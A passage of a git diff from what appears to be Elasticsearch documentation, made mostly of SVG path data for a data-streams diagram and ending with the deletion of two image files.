3.90625l3.09375 4.390625l-1.734375 0l-1.703125 -2.578125l-0.453125 -0.703125l-2.171875 3.28125l-1.703125 0zm8.9375 -9.84375l0 -1.609375l1.40625 0l0 1.609375l-1.40625 0zm0 9.84375l0 -8.296875l1.40625 0l0 8.296875l-1.40625 0zm3.5546875 0l0 -8.296875l1.265625 0l0 1.171875q0.90625 -1.359375 2.640625 -1.359375q0.75 0 1.375 0.265625q0.625 0.265625 0.9375 0.703125q0.3125 0.4375 0.4375 1.046875q0.078125 0.390625 0.078125 1.359375l0 5.109375l-1.40625 0l0 -5.046875q0 -0.859375 -0.171875 -1.28125q-0.15625 -0.4375 -0.578125 -0.6875q-0.40625 -0.25 -0.96875 -0.25q-0.90625 0 -1.5625 0.578125q-0.640625 0.5625 -0.640625 2.15625l0 4.53125l-1.40625 0zm8.6328125 0.6875l1.375 0.203125q0.078125 0.640625 0.46875 0.921875q0.53125 0.390625 1.4375 0.390625q0.96875 0 1.5 -0.390625q0.53125 -0.390625 0.71875 -1.09375q0.109375 -0.421875 0.109375 -1.8125q-0.921875 1.09375 -2.296875 1.09375q-1.71875 0 -2.65625 -1.234375q-0.9375 -1.234375 -0.9375 -2.96875q0 -1.1875 0.421875 -2.1875q0.4375 -1.0 1.25 -1.546875q0.828125 -0.546875 1.921875 -0.546875q1.46875 0 2.421875 1.1875l0 -1.0l1.296875 0l0 7.171875q0 1.9375 -0.390625 2.75q-0.390625 0.8125 -1.25 1.28125q-0.859375 0.46875 -2.109375 0.46875q-1.484375 0 -2.40625 -0.671875q-0.90625 -0.671875 -0.875 -2.015625zm1.171875 -4.984375q0 1.625 0.640625 2.375q0.65625 0.75 1.625 0.75q0.96875 0 1.625 -0.734375q0.65625 -0.75 0.65625 -2.34375q0 -1.53125 -0.671875 -2.296875q-0.671875 -0.78125 -1.625 -0.78125q-0.9375 0 -1.59375 0.765625q-0.65625 0.765625 -0.65625 2.265625z" fill-rule="nonzero"/><path fill="#ffffff" d="m217.12338 67.87371l0 -8.296875l1.265625 0l0 1.25q0.484375 -0.875 0.890625 -1.15625q0.40625 -0.28125 0.90625 -0.28125q0.703125 0 1.4375 0.453125l-0.484375 1.296875q-0.515625 -0.296875 -1.03125 -0.296875q-0.453125 0 -0.828125 0.28125q-0.359375 0.265625 -0.515625 0.765625q-0.234375 0.75 -0.234375 1.640625l0 4.34375l-1.40625 0zm11.015625 -2.671875l1.453125 0.171875q-0.34375 1.28125 -1.28125 1.984375q-0.921875 0.703125 -2.359375 0.703125q-1.828125 0 -2.890625 -1.125q-1.0625 -1.125 -1.0625 -3.140625q0 -2.09375 1.078125 -3.25q1.078125 -1.15625 2.796875 -1.15625q1.65625 0 2.703125 1.140625q1.0625 1.125 1.0625 3.171875q0 0.125 0 0.375l-6.1875 0q0.078125 1.375 0.765625 2.109375q0.703125 0.71875 1.734375 0.71875q0.78125 0 1.328125 -0.40625q0.546875 -0.40625 0.859375 -1.296875zm-4.609375 -2.28125l4.625 0q-0.09375 -1.046875 -0.53125 -1.5625q-0.671875 -0.8125 -1.734375 -0.8125q-0.96875 0 -1.640625 0.65625q-0.65625 0.640625 -0.71875 1.71875zm13.1171875 8.140625l0 -4.078125q-0.328125 0.46875 -0.921875 0.78125q-0.578125 0.296875 -1.25 0.296875q-1.46875 0 -2.546875 -1.171875q-1.0625 -1.1875 -1.0625 -3.25q0 -1.25 0.4375 -2.234375q0.4375 -1.0 1.25 -1.5q0.828125 -0.515625 1.8125 -0.515625q1.546875 0 2.421875 1.296875l0 -1.109375l1.265625 0l0 11.484375l-1.40625 0zm-4.328125 -7.359375q0 1.59375 0.671875 2.40625q0.671875 0.796875 1.609375 0.796875q0.890625 0 1.53125 -0.765625q0.65625 -0.765625 0.65625 -2.3125q0 -1.65625 -0.6875 -2.484375q-0.671875 -0.84375 -1.59375 -0.84375q-0.921875 0 -1.5625 0.78125q-0.625 0.765625 -0.625 2.421875zm13.3828125 4.171875l0 -1.21875q-0.96875 1.40625 -2.640625 1.40625q-0.734375 0 -1.375 -0.28125q-0.625 -0.28125 -0.9375 -0.703125q-0.3125 -0.4375 -0.4375 -1.046875q-0.078125 -0.421875 -0.078125 -1.3125l0 -5.140625l1.40625 0l0 4.59375q0 1.109375 0.078125 1.484375q0.140625 0.5625 0.5625 0.875q0.4375 0.3125 1.0625 0.3125q0.640625 0 1.1875 -0.3125q0.5625 -0.328125 0.78125 -0.890625q0.234375 -0.5625 0.234375 -1.625l0 -4.4375l1.40625 0l0 8.296875l-1.25 0zm9.1328125 -2.671875l1.453125 0.171875q-0.34375 1.28125 -1.28125 1.984375q-0.921875 0.703125 -2.359375 0.703125q-1.828125 0 -2.890625 -1.125q-1.0625 -1.125 -1.0625 -3.140625q0 -2.09375 1.078125 -3.25q1.078125 -1.15625 2.796875 -1.15625q1.65625 0 2.703125 1.140625q1.0625 1.125 1.0625 3.171875q0 0.125 0 0.375l-6.1875 0q0.078125 1.375 0.765625 2.109375q0.703125 0.71875 1.734375 0.71875q0.78125 0 1.328125 -0.40625q0.546875 -0.40625 0.859375 -1.296875zm-4.609375 -2.28125l4.625 0q-0.09375 -1.046875 -0.53125 -1.5625q-0.671875 -0.8125 -1.734375 -0.8125q-0.96875 0 -1.640625 0.65625q-0.65625 0.640625 -0.71875 1.71875zm7.2734375 2.46875l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm11.625 1.21875l0.203125 1.25q-0.59375 0.125 -1.0625 0.125q-0.765625 0 -1.1875 -0.234375q-0.421875 -0.25 -0.59375 -0.640625q-0.171875 -0.40625 -0.171875 -1.671875l0 -4.765625l-1.03125 0l0 -1.09375l1.03125 0l0 -2.0625l1.40625 -0.84375l0 2.90625l1.40625 0l0 1.09375l-1.40625 0l0 4.84375q0 0.609375 0.0625 0.78125q0.078125 0.171875 0.25 0.28125q0.171875 0.09375 0.484375 0.09375q0.234375 0 0.609375 -0.0625z" fill-rule="nonzero"/><path fill="#fa734f" d="m330.87402 210.93915l0 0c0 -6.5318756 5.2951355 -11.827011 11.826996 -11.827011l117.88928 0c3.1367188 0 6.144989 1.2460632 8.362976 3.4640503c2.217987 2.217987 3.4640503 5.226242 3.4640503 8.362961l0 47.30661c0 6.531891 -5.2951355 11.826996 -11.827026 11.826996l-117.88928 0c-6.5318604 0 -11.826996 -5.295105 -11.826996 -11.826996z" fill-rule="evenodd"/><path fill="#ffffff" d="m345.7277 240.45245l0 -1.609375l1.609375 0l0 1.609375l-1.609375 0zm9.4296875 0l0 -1.046875q-0.78125 1.234375 -2.3125 1.234375q-1.0 0 -1.828125 -0.546875q-0.828125 -0.546875 -1.296875 -1.53125q-0.453125 -0.984375 -0.453125 -2.25q0 -1.25 0.40625 -2.25q0.421875 -1.015625 1.25 -1.546875q0.828125 -0.546875 1.859375 -0.546875q0.75 0 1.328125 0.3125q0.59375 0.3125 0.953125 0.828125l0 -4.109375l1.40625 0l0 11.453125l-1.3125 0zm-4.4375 -4.140625q0 1.59375 0.671875 2.390625q0.671875 0.78125 1.578125 0.78125q0.921875 0 1.5625 -0.75q0.65625 -0.765625 0.65625 -2.3125q0 -1.703125 -0.65625 -2.5q-0.65625 -0.796875 -1.625 -0.796875q-0.9375 0 -1.5625 0.765625q-0.625 0.765625 -0.625 2.421875zm7.3984375 1.65625l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.84375 3.4375l0 -11.453125l1.40625 0l0 11.453125l-1.40625 0zm3.0546875 -4.15625q0 -2.296875 1.28125 -3.40625q1.078125 -0.921875 2.609375 -0.921875q1.71875 0 2.796875 1.125q1.09375 1.109375 1.09375 3.09375q0 1.59375 -0.484375 2.515625q-0.484375 0.921875 -1.40625 1.4375q-0.90625 0.5 -2.0 0.5q-1.734375 0 -2.8125 -1.109375q-1.078125 -1.125 -1.078125 -3.234375zm1.453125 0q0 1.59375 0.6875 2.390625q0.703125 0.796875 1.75 0.796875q1.046875 0 1.734375 -0.796875q0.703125 -0.796875 0.703125 -2.4375q0 -1.53125 -0.703125 -2.328125q-0.6875 -0.796875 -1.734375 -0.796875q-1.046875 0 -1.75 0.796875q-0.6875 0.78125 -0.6875 2.375zm7.7109375 4.84375l1.375 0.203125q0.078125 0.640625 0.46875 0.921875q0.53125 0.390625 1.4375 0.390625q0.96875 0 1.5 -0.390625q0.53125 -0.390625 0.71875 -1.09375q0.109375 -0.421875 0.109375 -1.8125q-0.921875 1.09375 -2.296875 1.09375q-1.71875 0 -2.65625 -1.234375q-0.9375 -1.234375 -0.9375 -2.96875q0 -1.1875 0.421875 -2.1875q0.4375 -1.0 1.25 -1.546875q0.828125 -0.546875 1.921875 -0.546875q1.46875 0 2.421875 1.1875l0 -1.0l1.296875 0l0 7.171875q0 1.9375 -0.390625 2.75q-0.390625 0.8125 -1.25 1.28125q-0.859375 0.46875 -2.109375 0.46875q-1.484375 0 -2.40625 -0.671875q-0.90625 -0.671875 -0.875 -2.015625zm1.171875 -4.984375q0 1.625 0.640625 2.375q0.65625 0.75 1.625 0.75q0.96875 0 1.625 -0.734375q0.65625 -0.75 0.65625 -2.34375q0 -1.53125 -0.671875 -2.296875q-0.671875 -0.78125 -1.625 -0.78125q-0.9375 0 -1.59375 0.765625q-0.65625 0.765625 -0.65625 2.265625zm7.4296875 1.8125l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.484375 -2.21875q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 2.625l1.40625 -0.1875q0.25 1.203125 0.828125 1.734375q0.578125 0.515625 1.421875 0.515625q0.984375 0 1.671875 -0.6875q0.6875 -0.6875 0.6875 -1.703125q0 -0.96875 -0.640625 -1.59375q-0.625 -0.625 -1.609375 -0.625q-0.390625 0 -0.984375 0.15625l0.15625 -1.234375q0.140625 0.015625 0.21875 0.015625q0.90625 0 1.625 -0.46875q0.71875 -0.46875 0.71875 -1.453125q0 -0.765625 -0.53125 -1.265625q-0.515625 -0.515625 -1.34375 -0.515625q-0.828125 0 -1.375 0.515625q-0.546875 0.515625 -0.703125 1.546875l-1.40625 -0.25q0.265625 -1.421875 1.171875 -2.1875q0.921875 -0.78125 2.28125 -0.78125q0.9375 0 1.71875 0.40625q0.796875 0.390625 1.203125 1.09375q0.421875 0.6875 0.421875 1.46875q0 0.75 -0.40625 1.359375q-0.390625 0.609375 -1.171875 0.96875q1.015625 0.234375 1.578125 0.96875q0.5625 0.734375 0.5625 1.84375q0 1.5 -1.09375 2.546875q-1.09375 1.046875 -2.765625 1.046875q-1.5 0 -2.5 -0.890625q-1.0 -0.90625 -1.140625 -2.34375z" fill-rule="nonzero"/><path fill="#000000" fill-opacity="0.0" d="m242.27454 150.04915l0 25.373566l159.37009 0l0 23.697296" fill-rule="evenodd"/><path stroke="#fa734f" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m242.27455 150.04913l0 25.37358l159.37004 0l0 11.697296" fill-rule="evenodd"/><path fill="#fa734f" stroke="#fa734f" stroke-width="2.0" stroke-linecap="butt" d="m398.34113 187.12001l3.3034668 9.076202l3.3034668 -9.076202z" fill-rule="evenodd"/><path fill="#ffffff" d="m186.60524 136.5111l114.01576 0l0 26.29921l-114.01576 0z" fill-rule="evenodd"/><path fill="#000000" d="m201.27718 155.52069l0 -11.453125l3.953125 0q1.328125 0 2.03125 0.15625q0.984375 0.234375 1.6875 0.828125q0.90625 0.765625 1.34375 1.953125q0.453125 1.1875 0.453125 2.71875q0 1.3125 -0.3125 2.328125q-0.296875 1.0 -0.78125 1.65625q-0.46875 0.65625 -1.03125 1.046875q-0.5625 0.375 -1.375 0.578125q-0.796875 0.1875 -1.828125 0.1875l-4.140625 0zm1.515625 -1.359375l2.453125 0q1.125 0 1.765625 -0.203125q0.65625 -0.21875 1.03125 -0.59375q0.546875 -0.546875 0.84375 -1.453125q0.296875 -0.90625 0.296875 -2.203125q0 -1.796875 -0.59375 -2.765625q-0.578125 -0.96875 -1.421875 -1.296875q-0.609375 -0.234375 -1.96875 -0.234375l-2.40625 0l0 8.75zm15.2734375 0.328125q-0.78125 0.671875 -1.5 0.953125q-0.71875 0.265625 -1.546875 0.265625q-1.375 0 -2.109375 -0.671875q-0.734375 -0.671875 -0.734375 -1.703125q0 -0.609375 0.28125 -1.109375q0.28125 -0.515625 0.71875 -0.8125q0.453125 -0.3125 1.015625 -0.46875q0.421875 -0.109375 1.25 -0.203125q1.703125 -0.203125 2.515625 -0.484375q0 -0.296875 0 -0.375q0 -0.859375 -0.390625 -1.203125q-0.546875 -0.484375 -1.609375 -0.484375q-0.984375 0 -1.46875 0.359375q-0.46875 0.34375 -0.6875 1.21875l-1.375 -0.1875q0.1875 -0.875 0.609375 -1.421875q0.4375 -0.546875 1.25 -0.828125q0.8125 -0.296875 1.875 -0.296875q1.0625 0 1.71875 0.25q0.671875 0.25 0.984375 0.625q0.3125 0.375 0.4375 0.953125q0.078125 0.359375 0.078125 1.296875l0 1.875q0 1.96875 0.078125 2.484375q0.09375 0.515625 0.359375 1.0l-1.46875 0q-0.21875 -0.4375 -0.28125 -1.03125zm-0.109375 -3.140625q-0.765625 0.3125 -2.296875 0.53125q-0.875 0.125 -1.234375 0.28125q-0.359375 0.15625 -0.5625 0.46875q-0.1875 0.296875 -0.1875 0.65625q0 0.5625 0.421875 0.9375q0.4375 0.375 1.25 0.375q0.8125 0 1.4375 -0.34375q0.640625 -0.359375 0.9375 -0.984375q0.234375 -0.46875 0.234375 -1.40625l0 -0.515625zm6.6640625 2.90625l0.203125 1.25q-0.59375 0.125 -1.0625 0.125q-0.765625 0 -1.1875 -0.234375q-0.421875 -0.25 -0.59375 -0.640625q-0.171875 -0.40625 -0.171875 -1.671875l0 -4.765625l-1.03125 0l0 -1.09375l1.03125 0l0 -2.0625l1.40625 -0.84375l0 2.90625l1.40625 0l0 1.09375l-1.40625 0l0 4.84375q0 0.609375 0.0625 0.78125q0.078125 0.171875 0.25 0.28125q0.171875 0.09375 0.484375 0.09375q0.234375 0 0.609375 -0.0625zm6.7890625 0.234375q-0.78125 0.671875 -1.5 0.953125q-0.71875 0.265625 -1.546875 0.265625q-1.375 0 -2.109375 -0.671875q-0.734375 -0.671875 -0.734375 -1.703125q0 -0.609375 0.28125 -1.109375q0.28125 -0.515625 0.71875 -0.8125q0.453125 -0.3125 1.015625 -0.46875q0.421875 -0.109375 1.25 -0.203125q1.703125 -0.203125 2.515625 -0.484375q0 -0.296875 0 -0.375q0 -0.859375 -0.390625 -1.203125q-0.546875 -0.484375 -1.609375 -0.484375q-0.984375 0 -1.46875 0.359375q-0.46875 0.34375 -0.6875 1.21875l-1.375 -0.1875q0.1875 -0.875 0.609375 -1.421875q0.4375 -0.546875 1.25 -0.828125q0.8125 -0.296875 1.875 -0.296875q1.0625 0 1.71875 0.25q0.671875 0.25 0.984375 0.625q0.3125 0.375 0.4375 0.953125q0.078125 0.359375 0.078125 1.296875l0 1.875q0 1.96875 0.078125 2.484375q0.09375 0.515625 0.359375 1.0l-1.46875 0q-0.21875 -0.4375 -0.28125 -1.03125zm-0.109375 -3.140625q-0.765625 0.3125 -2.296875 0.53125q-0.875 0.125 -1.234375 0.28125q-0.359375 0.15625 -0.5625 0.46875q-0.1875 0.296875 -0.1875 0.65625q0 0.5625 0.421875 0.9375q0.4375 0.375 1.25 0.375q0.8125 0 1.4375 -0.34375q0.640625 -0.359375 0.9375 -0.984375q0.234375 -0.46875 0.234375 -1.40625l0 -0.515625zm7.484375 1.6875l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm11.625 1.21875l0.203125 1.25q-0.59375 0.125 -1.0625 0.125q-0.765625 0 -1.1875 -0.234375q-0.421875 -0.25 -0.59375 -0.640625q-0.171875 -0.40625 -0.171875 -1.671875l0 -4.765625l-1.03125 0l0 -1.09375l1.03125 0l0 -2.0625l1.40625 -0.84375l0 2.90625l1.40625 0l0 1.09375l-1.40625 0l0 4.84375q0 0.609375 0.0625 0.78125q0.078125 0.171875 0.25 0.28125q0.171875 0.09375 0.484375 0.09375q0.234375 0 0.609375 -0.0625zm1.3671875 1.265625l0 -8.296875l1.265625 0l0 1.25q0.484375 -0.875 0.890625 -1.15625q0.40625 -0.28125 0.90625 -0.28125q0.703125 0 1.4375153 0.453125l-0.48439026 1.296875q-0.515625 -0.296875 -1.03125 -0.296875q-0.453125 0 -0.828125 0.28125q-0.359375 0.265625 -0.515625 0.765625q-0.234375 0.75 -0.234375 1.640625l0 4.34375l-1.40625 0zm11.01564 -2.671875l1.453125 0.171875q-0.34375 1.28125 -1.28125 1.984375q-0.921875 0.703125 -2.359375 0.703125q-1.828125 0 -2.890625 -1.125q-1.0625 -1.125 -1.0625 -3.140625q0 -2.09375 1.078125 -3.25q1.078125 -1.15625 2.796875 -1.15625q1.65625 0 2.703125 1.140625q1.0625 1.125 1.0625 3.171875q0 0.125 0 0.375l-6.1875 0q0.078125 1.375 0.765625 2.109375q0.703125 0.71875 1.734375 0.71875q0.78125 0 1.328125 -0.40625q0.546875 -0.40625 0.859375 -1.296875zm-4.609375 -2.28125l4.625 0q-0.09375 -1.046875 -0.53125 -1.5625q-0.671875 -0.8125 -1.734375 -0.8125q-0.96875 0 -1.640625 0.65625q-0.65625 0.640625 -0.71875 1.71875zm13.2421875 3.921875q-0.78125 0.671875 -1.5 0.953125q-0.71875 0.265625 -1.546875 0.265625q-1.375 0 -2.109375 -0.671875q-0.734375 -0.671875 -0.734375 -1.703125q0 -0.609375 0.28125 -1.109375q0.28125 -0.515625 0.71875 -0.8125q0.453125 -0.3125 1.015625 -0.46875q0.421875 -0.109375 1.25 -0.203125q1.703125 -0.203125 2.515625 -0.484375q0 -0.296875 0 -0.375q0 -0.859375 -0.390625 -1.203125q-0.546875 -0.484375 -1.609375 -0.484375q-0.984375 0 -1.46875 0.359375q-0.46875 0.34375 -0.6875 1.21875l-1.375 -0.1875q0.1875 -0.875 0.609375 -1.421875q0.4375 -0.546875 1.25 -0.828125q0.8125 -0.296875 1.875 -0.296875q1.0625 0 1.71875 0.25q0.671875 0.25 0.984375 0.625q0.3125 0.375 0.4375 0.953125q0.078125 0.359375 0.078125 1.296875l0 1.875q0 1.96875 0.078125 2.484375q0.09375 0.515625 0.359375 1.0l-1.46875 0q-0.21875 -0.4375 -0.28125 -1.03125zm-0.109375 -3.140625q-0.765625 0.3125 -2.296875 0.53125q-0.875 0.125 -1.234375 0.28125q-0.359375 0.15625 -0.5625 0.46875q-0.1875 0.296875 -0.1875 0.65625q0 0.5625 0.421875 0.9375q0.4375 0.375 1.25 0.375q0.8125 0 1.4375 -0.34375q0.640625 -0.359375 0.9375 -0.984375q0.234375 -0.46875 0.234375 -1.40625l0 -0.515625zm3.6015625 4.171875l0 -8.296875l1.25 0l0 1.15625q0.390625 -0.609375 1.03125 -0.96875q0.65625 -0.375 1.484375 -0.375q0.921875 0 1.515625 0.390625q0.59375 0.375 0.828125 1.0625q0.984375 -1.453125 2.5625 -1.453125q1.234375 0 1.890625 0.6875q0.671875 0.671875 0.671875 2.09375l0 5.703125l-1.390625 0l0 -5.234375q0 -0.84375 -0.140625 -1.203125q-0.140625 -0.375 -0.5 -0.59375q-0.359375 -0.234375 -0.84375 -0.234375q-0.875 0 -1.453125 0.578125q-0.578125 0.578125 -0.578125 1.859375l0 4.828125l-1.40625 0l0 -5.390625q0 -0.9375 -0.34375 -1.40625q-0.34375 -0.46875 -1.125 -0.46875q-0.59375 0 -1.09375 0.3125q-0.5 0.3125 -0.734375 0.921875q-0.21875 0.59375 -0.21875 1.71875l0 4.3125l-1.40625 0z" fill-rule="nonzero"/></g></svg>
\ No newline at end of file
diff --git a/docs/reference/images/data-streams/data-streams-list.png b/docs/reference/images/data-streams/data-streams-list.png
deleted file mode 100644
index 38ec3727e49..00000000000
Binary files a/docs/reference/images/data-streams/data-streams-list.png and /dev/null differ
diff --git a/docs/reference/images/data-streams/data-streams-search-request.svg b/docs/reference/images/data-streams/data-streams-search-request.svg
deleted file mode 100644
index e827b783f06..00000000000
--- a/docs/reference/images/data-streams/data-streams-search-request.svg
+++ /dev/null
@@ -1 +0,0 @@
